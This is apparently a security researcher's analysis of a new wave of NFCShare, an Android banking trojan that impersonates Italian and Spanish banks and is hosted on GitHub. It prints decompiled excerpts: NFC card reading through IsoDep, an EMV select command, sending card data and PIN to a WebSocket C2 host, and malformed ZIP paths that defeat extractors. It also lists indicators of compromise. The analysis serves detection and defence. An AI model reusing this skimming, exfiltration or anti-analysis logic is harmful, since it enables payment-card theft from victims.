
In January 2026, we analyzed NFCShare, an Android banking trojan distributed as a malicious APK through a phishing flow impersonating Deutsche Bank. The malware presented a fake card-verification interface, asked the victim to place a payment card near the phone, collected the card PIN, and exfiltrated NFC-derived payment-card data to a WebSocket endpoint.
Since 14 May 2026, we have observed a newer wave of NFCShare APKs impersonating Italian and European banking brands. The campaign we investigated started from an ad hoc phishing website, areaclienti-intesa.com, which mimicked the look and feel of Intesa Sanpaolo. After the victim entered home-banking credentials, the phishing flow prompted the user to update the banking application. At that point, the website visually directed the victim to a shortened URL, such as https://tinyurl[.]com/Intesa-Carte, which then redirected toward APKs hosted in the GitHub repository antoniocastaldo1998/app-scuola.
The newer samples are still NFCShare. The core NFC and exfiltration logic remains largely unchanged. The relevant evolution is operational and anti-analysis oriented: more frequent APK rebuilds, brand rotation, a new C2 endpoint, a 10-DEX layout, and malformed ZIP paths designed to break naive APK extractors.
The recent campaign uses bank-themed APK names such as Intesa Carte.apk, Sella Carte.apk, Banca Sella Carte.apk, Klirway Carte.apk, BCC Roma Carte.apk, Fideuram Carte.apk, Mooney Carte.apk, Nexi Carte.apk, CaixaBank.apk, CaixaBankNfc.apk, and CaixaReactivaTarjeta.apk.
The victim flow is consistent with mobile banking phishing. The user is first brought to the fake Intesa Sanpaolo-themed website areaclienti-intesa[.]com. After submitting home-banking credentials, the user is told that the banking app must be updated. The phishing page then redirects through a shortened URL and ultimately leads to the malicious APK hosted on GitHub.
We cannot exclude an additional social-engineering layer: victims may also receive an SMS or a phone call from a fake bank operator who guides them through the process, including enabling Android installation from unknown sources in order to sideload the APK.

The GitHub repository used for hosting is named app-scuola, which translates roughly to “school app”. Its README is a simple decoy:
# app-scuola app di scuola per compiti a casa ciaoo!!
The repository also contains a small shell script, likely used locally by the operator to push new builds:
#!/usr/bin/env bash set -e BRANCH="main" COMMIT_MSG="Aggiornato tutto" git switch "$BRANCH" git add -A git commit -m "$COMMIT_MSG" git push origin "$BRANCH"
The commit history supports this operational model. As of 5 June 2026, the repository contains 57 commits, starting on 10 April 2026, and the vast majority of later commits use the same message: Aggiornato tutto (“Updated everything”). Across the Git history, we identified 56 unique APK payloads referenced as blobs.
| Date | Observed activity |
|---|---|
| 10 Apr 2026 | Repository initialized. Early APKs named Nexi Carte.apk appear. |
| 15 Apr 2026 | Spanish-language lure appears as Nexi Tarjetas.apk. |
| 22-30 Apr 2026 | Brand rotation expands to BCC Roma Carte.apk, Klirway Carte.apk, Banca Sella Carte.apk, and Sella NFC.apk. |
| 11-13 May 2026 | New lures include Mooney Carte.apk, Intesa Carte.apk, and Fideuram Carte.apk. |
| 14 May 2026 onward | Repeated updates to Intesa Carte.apk, consistent with the recent wave observed in the wild. |
| 31 May-4 Jun 2026 | Additional builds include Sella Carte.apk, Klirway carte.apk, CaixaBank.apk, CaixaBankNfc.apk, and CaixaReactivaTarjeta.apk. A separate 120/ folder contains several test or campaign builds. |
We compared the application analyzed in January with the recent Banca Sella sample and other APKs from the GitHub-hosted wave.
| Feature | Application analyzed in January | Recent Sella / Intesa / Klirway wave |
|---|---|---|
| Package | com.modol.nap | com.modol.nap |
| Main activity | nfc.share.itnamteis.MainActivity | nfc.share.itnamteis.MainActivity |
| DEX count | 8 | 10 |
| C2 | ws://38 | ws://nfck |
| C2 obfuscation | Encoded through NPStringFog | Recovered in cleartext by JADX |
| NFC logic | IsoDep, EMV parsing, card data exfiltration | Same core logic |
| UI | Local HTML in WebView | Same local HTML template, with minor variants |
| Anti-analysis | Standard APK ZIP layout | Malformed/poisoned ZIP paths that break simple extractors |
The most important change is not the C2 rotation, which is expected in an active fraud operation. The most important technical evolution is the packaging: newer APKs contain malformed ZIP entries such as paths rooted under /AndroidManifest.xml/, /classes.dex/, and /resources.arsc/. APKs are ZIP archives, and simple extraction tools may try to write those entries as absolute paths. In our tests, this caused extraction failures such as:
Error extracting files: [Errno 30] Read-only file system: '/AndroidManifest.xml'
This does not prevent proper analysis, but it disrupts automated pipelines that assume benign ZIP paths. It also explains why some family classifiers may return a lower match score for recent samples: the family did not change, but the package structure interferes with extraction and manifest/resource parsing.
The recent samples retain the internal markers that originally motivated the NFCShare family name:
nfc.share.itnamteis namespaceCardInfoitmanteis modelMqttChannel enum with CARD_INFO_CHANNEL, CARD_REMOVED, and SEND_CHANNELassets/index.htmlandroid.nfc.tech.IsoDepNPStringFog with the hardcoded key itnewpag发送端 (“sender”) decoded at runtimeThe channel enum is particularly useful for attribution and hunting:
package nfc.share.itnamteis.model;
public enum MqttChannel {
FETCH_CHANNEL,
SEND_CHANNEL,
LOG_CHANNEL,
CARD_INFO_CHANNEL,
CARD_REMOVED,
NOTIFICATION_CHANNEL,
ANSWER_CHANNEL,
OFFLINE_CHANNEL
}
In the recent Sella build, the C2 is visible in MainActivity after decompilation:
public final String f3591z = "ws://nfck[.]loseyourip[.]com:8001/";
// ...
e.f = NPStringFog.decode("8CFBFF8CF7F186CCC6"); // 发送端
e.g = "100";
WebView webView = (WebView) findViewById(R.attr.webview);
this.f3585A = webView;
webView.getSettings().setJavaScriptEnabled(true);
this.f3585A.setWebViewClient(new b());
this.f3585A.loadUrl(
NPStringFog.decode("0F1D02004D5F4E48081A0A171819053808071D00035F08090D11164B1F040C0B56071A00074D")
);
The decoded WebView URL is:
file:///android_asset/index.html?step=
The WebSocket implementation translates ws:// into an HTTP request URL internally, which is typical of OkHttp-based WebSocket clients:
if (str.startsWith("ws://")) {
String path = str.substring(3);
str = "http:".concat(path);
} else if (str.startsWith("wss://")) {
String path = str.substring(4);
str = "https:".concat(path);
}
The NFC reader code uses IsoDep, connects to the payment card, sends an EMV PPSE select APDU, parses the returned data, and builds a CardInfoitmanteis object.
public final class c implements NfcAdapter.ReaderCallback {
public IsoDep f4125a;
public final String b(Tag tag) throws IOException {
IsoDep isoDep = IsoDep.get(tag);
this.f4125a = isoDep;
if (!isoDep.isConnected()) {
this.f4125a.connect();
this.f4125a.setTimeout(120000);
}
byte[] ppse = t1.e.b(d(
NPStringFog.decode("59442F514744515759315D57424055565C4D5C204243545E5C475C20434455535D425D5544415157")
));
// Decodes to:
// 00A404000E325041592E5359532E444446303100
// EMV parsing omitted for readability
CardInfoitmanteis card = new CardInfoitmanteis(cardNumber, cardType, expiryDate, label);
t1.e.b.I(MqttChannel.CARD_INFO_CHANNEL, t1.e.c(card.toString().getBytes()));
}
}
The APDU decodes to:
00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00 SELECT 2PAY.SYS.DDF01
The card model serializes the extracted data into a simple ampersand-separated string:
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(this.number);
String sep = NPStringFog.decode("4F"); // &
sb.append(sep);
sb.append(this.type);
sb.append(sep);
sb.append(this.label);
sb.append(sep);
sb.append(new SimpleDateFormat(
NPStringFog.decode("2439411C0E") // MM/yy
).format(this.expireDate));
return sb.toString();
}
Decoded format:
card_number & card_type_or_PIN & card_label & MM/yy
The PIN is handled by creating a new CardInfoitmanteis object where the entered PIN is placed in the second field and sent again through CARD_INFO_CHANNEL:
String pin = this.f4108a.getText().toString();
CardInfoitmanteis cardInfoitmanteis = new CardInfoitmanteis(
e.f4113h.getNumber(),
pin,
e.f4113h.getExpireDate(),
e.f4113h.getLabel()
);
e.f4113h = cardInfoitmanteis;
e.b.I(MqttChannel.CARD_INFO_CHANNEL, e.c(cardInfoitmanteis.toString().getBytes()));
The recent APKs still use a local HTML/JavaScript interface inside a WebView. The template instructs the user, in Portuguese-language strings, to place the card near the device and then enter a 4-digit PIN “for security”. This is consistent with the earlier NFCShare flow we previously analyzed: the UI creates trust and keeps the victim engaged while the native Android code reads the payment card over NFC.



Figure 1. Fake card-verification screen asking the victim to bring the card close to the phone.
Figure 2. Fake verification progress screen.
Figure 3. PIN collection screen.
The newer samples introduce malformed ZIP paths. This is not a sophisticated VM or sandbox check, but it is effective against brittle static pipelines. We observed:
res/ layout, 8 DEX files.For analysts, the key point is that a failed extraction is not a benign signal. In this campaign, extraction failures are themselves useful indicators of the newer NFCShare packaging.
Despite these extraction pitfalls, the samples can still be triaged and analyzed with the open-source tool apkInspector. Its APK parsing and artifact extraction workflow was useful for quickly identifying the NFCShare family markers, DEX layout, manifest-level indicators, and high-level differences between the January sample and the newer GitHub-hosted builds.
| Cluster | Representative samples | Technical profile |
|---|---|---|
| January sample | Application analyzed in January | 8 DEX, standard ZIP layout, C2 encoded with NPStringFog. |
| Recent 100-series | Sella Carte.apk, Intesa Carte.apk, Klirway Carte.apk | 10 DEX, malformed ZIP paths, same HTML template hash daf9bb0b..., C2 nfck[.]loseyourip[.]com:8001. |
| Recent 120-series | CaixaBank.apk, CaixaBankNfc.apk, CaixaReactivaTarjeta.apk, and test-named builds | 10 DEX, malformed ZIP paths, slightly different HTML/template DEX set, internal value e.g = "120". |
| Filename | MD5 | SHA-256 |
|---|---|---|
IntesaCarte.apk | ceeb164e387e2a6952dc023eb1cf416a | f1f78e1ad582c9540205ba808836dcb967b7093190bf994632854269692aa2d2 |
NexiCarte.apk | 63d6aaabe27edd5e60339da122d7d0cd | 6d29e6e5372cd0690e0df62eb6d98938e91191b0e639fed2476497baa8255405 |
KlirwayCarte.apk | e937ba13a70cf62da5c5a471df866f6b | 7fb836c08ff527443b06d1c20afb6a4b0f51eb373013f211e0d3200bf26527b7 |
NexiTarjetas.apk | 9ee21d157063fd9023a501ec7f551a56 | cb147e7ce69723523f604da875d78ca4738e5f416d2297910ee179a5067e79fe |
BCCRomaCarte.apk | 5ecd01356a39ecf540883ff8171b3677 | 091870b3f90c9a98000e0d14a67be2db5891ce98a0b1e24b721e3d96241620a5 |
SellaNFC.apk | fcfd090aa00fe9388da6d20cd2326058 | 3c81526bcb801d7dcfaea7f379528471d745a36e3c1bdc41877b4bed34b5dce6 |
FideuramCarte1.apk | dea4c7344a8ab14de16a1018a6e5ccfd | 9e95912f1a5fdba5050723f095b7031770b7e2f9627fb60544b41adcbb5b3306 |
BancaSellaCarte.apk | 45ee3983a7c1133f267af09173668864 | 090a30252991830596c75a945885ca3100d7a40edf4a16d78abd5bbfd90ba268 |
MooneyCarte.apk | ded72aeca28a3a63ca1fcb8517356896 | 20b5551b2158f599517f29316884b00e0af6ae3a3bd782909f4b36fca1595698 |
IntesaCarte1.apk | 156ac1f4f722b7a7135817b07b6367ac | d29295f1504676003fd3ccbd3e41a53aabbe80d2025bfb3a6ef9a9fcff97b6cd |
IntesaCarte2.apk | cfd294f31384685270ca8838aac22de9 | 21c91c4cb01c7fd286dc8fa6122f6c43a5227677ffbe3566aa37204cd9e494fe |
IntesaCarte.apk | 4f71dc13d349971d76970bde1c6e3be5 | 752f3cacdad6753d4c02bb8e40ef3e0990b55466c18a7b80ec6fa7b9706e40ab |
IntesaCarte1.apk | dea7c27a5b42df8eeb86188345ab620c | ce462b41ab7480dce4f290a9921fca51ba40e502d480a348d50770607e3d02b9 |
IntesaCarte3.apk | f44469676097f336dbd587d895da7a61 | 9628acabe739b5419f08c5a5c3cd776268bf4a3c25c978341e403bde442e0ece |
KlirwayCarte.apk | 9dec1a25c9e21e0202216e862e0c9e8b | 000218ce36bc7e3b29318e70eb528cad547a837dca2fb955ae63e505825268de |
IntesaCarte7.apk | 5b68cfe9515654c0d10c228de3abd5c2 | d80ea77e9f0dbf75be823b631d3f5572ce484abf4542413482f03094a1c8aad0 |
provakk.apk | c849829a852666680cd0de0c0ad1c300 | f73ad6fad9cfa13deec3e729c99fb2aae33541a84c0e8f53846f9260a2f09252 |
INTESACARTE5.apk | 63ca247be35c8ef19308a36a5660b016 | bfca31aafc6fe22f8fc4fa188a88570a70783877342a02362fd0867ba8f547bc |
Klirwaycarte1.apk | 952d1908bfeb13b8b906c833fea1dea2 | b1bdd9549dffcff4fbad6d1c80d7ba513b0ed624e4c74a6df09756edc3882134 |
CaixaBank.apk | d9e524c5a75ad511b802f35488f6af5d | 9fa08e172f73daa3ec8c2fb607b8500bdf915dbf09fcde5a46381e042266149e |
IntesaCarte8.apk | dcf340486b832f9092df105a865a186a | 2a24223718cb12a8bd81679b307af73a6e062e6f1b26750546a576e285a379e7 |
provayr.apk | a52d062e9d0115ce35c13de234e3e5d0 | 15f9d02fbb0124cdf283f7ed3e7f108ff10fe44f9bd8374f48b40a2ebb50168b |
kakayarr.apk | 10604243405e9480170dd68dab93b3e8 | 4218216156a2f083c2e79e754d92904403e8e6f54fb91034b193458bbd48346a |
IntesaCarte4.apk | 54b72c48e263a901674a5bcb15f4cbe3 | 0cacde8ec59f47dc1bea893f713e922e04aa24c63e8ab0c123aeb0204b0283bb |
IntesaCarte10.apk | a6cc136bdda4a9ec69af6ed2ba969a85 | 73ec7502a638b4520fd8e7d204049f7d064938f58e11d2f27fbb74e61c788257 |
IntesaCarte6.apk | 1a9936e788589c10643556c3b515c42a | 69b6c30e329273585cc1c7a11c411040f34094664c68e49b5542561367ce2368 |
negroeungilipollas.apk | d891da945d285b547642ec5e56ea8dd3 | 426ab891baf22d4a97f8c22a824f2271e8f11c3ac7532a4893e4b7f48767030f |
provaok.apk | 41ac1272a5b5971d9a52d55e2a4dd63d | 86e9b74bb96db32c03f91f638521be550d5fec827fac6aed70795f576ed8dc45 |
IntesaCarte9.apk | 4050e40d3e4604f85ecab2389cae1827 | 46e70cb7e3825ae9ea24187c7672e75e70d56bad55c3d143d10903242d59531b |
SellaCarte.apk | 19e201749611c757b4605635e8521bba | 0024620136cf4239544da4768edf7ec7a398e3b610a471033511305ccf670c42 |
CaixaReactivaTarjeta.apk | 8300753f9500ab04ad5bb9920f2d2053 | 51f7b3f6991bc6253d33e6b93f4e0429957f3d54d967c461dbb82ea2a4694e12 |
CaixaBankNfc.apk | b16928f4e8447778388e785f746434b3 | b0e288e8ac116bc1db13536dee2060f7ebdebc4524cba9147132ed633e028cee |
| Type | Indicator | Context |
|---|---|---|
| Package | com.modol.nap | Observed across samples |
| Namespace | nfc.share.itnamteis | Family attribution marker |
| C2 | ws://38[.]47 | Earlier NFCShare infrastructure |
| C2 | ws://nfck | Recent campaign infrastructure |
| GitHub repository | https://github | Observed APK hosting repository |
| Phishing domain | areaclienti-intesa | Observed phishing website mimicking Intesa Sanpaolo |
| Short URL | https://tinyurl | Observed distribution link |
The recent NFCShare wave does not show a major change in malware capability. The Android code still reads payment-card data through IsoDep, asks the victim for the PIN through a fake WebView flow, and sends the resulting data to a WebSocket C2.
The evolution is in campaign operations and analysis resistance. The actor is rotating brands, rebuilding APKs frequently, using URL shorteners, hosting payloads in a public GitHub repository disguised as a school project, and shipping APKs with malformed ZIP paths that can break automated extractors.
For defenders, this means the most resilient detection opportunities are not the APK filename or the C2 endpoint, but the internal NFCShare code markers, the WebView/NFC behavior combination, and the malformed APK structure introduced in the newer builds.